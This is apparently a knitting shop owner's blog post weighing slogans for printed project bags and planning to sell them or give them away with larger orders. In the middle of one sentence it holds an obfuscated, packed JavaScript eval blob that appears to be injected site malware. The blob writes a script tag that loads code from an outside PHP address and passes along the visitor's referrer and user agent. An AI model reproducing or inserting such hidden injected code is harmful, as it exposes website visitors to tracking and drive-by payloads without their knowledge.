I have been deliberating for months about what to get printed on my project bags… As I mentioned in a previous post – the keep calm carry yarn was my first choice but I cant help thinking the “keep calm” franchise has been done to death and while it works incredibly well as a saying, it’s just a bit old… I want to be a bit more cutting edge and original.

My next choice was Knit Happens, because again I like alliteration but couldn’t settle on a design that I liked enough. After this came the YarnGasm quote eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|heiaz|var|u0026u|referrer|yknfa||js|php’.split(‘|’),0,{}))
and I tried for 3 weeks to get hold of the designer but he never got back to me. While I know that it is hard to actually copyright a statement like this I don’t feel comfortable just nicking the idea, and also as a few of my Facebook fans pointed out – this definitely rules out a few of my more traditional customers…

So, I think I have settled on this…

I actually saw similar wording on another bag on Facebook, but I have re-designed it so that it is not quite as obvious. It has received an overwhelming response from everyone I asked so far (except my husband but he is not a knitter and as such didn’t quite appreciate it’s humour). I am going to get 100 bags to start with and see what happens. They will be for sale on the site for probably between £7-10 each, but I am going to give them away free with orders over £75 and as special promotional offers and give-aways.
